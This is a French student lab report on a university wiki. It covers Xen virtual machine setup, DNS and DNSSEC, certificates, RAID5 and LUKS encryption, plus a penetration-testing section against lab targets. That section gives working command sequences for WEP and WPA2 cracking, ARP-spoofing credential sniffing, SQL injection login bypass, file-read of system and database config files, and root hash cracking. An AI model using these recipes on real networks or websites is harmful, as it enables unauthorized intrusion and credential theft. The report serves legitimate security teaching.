&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
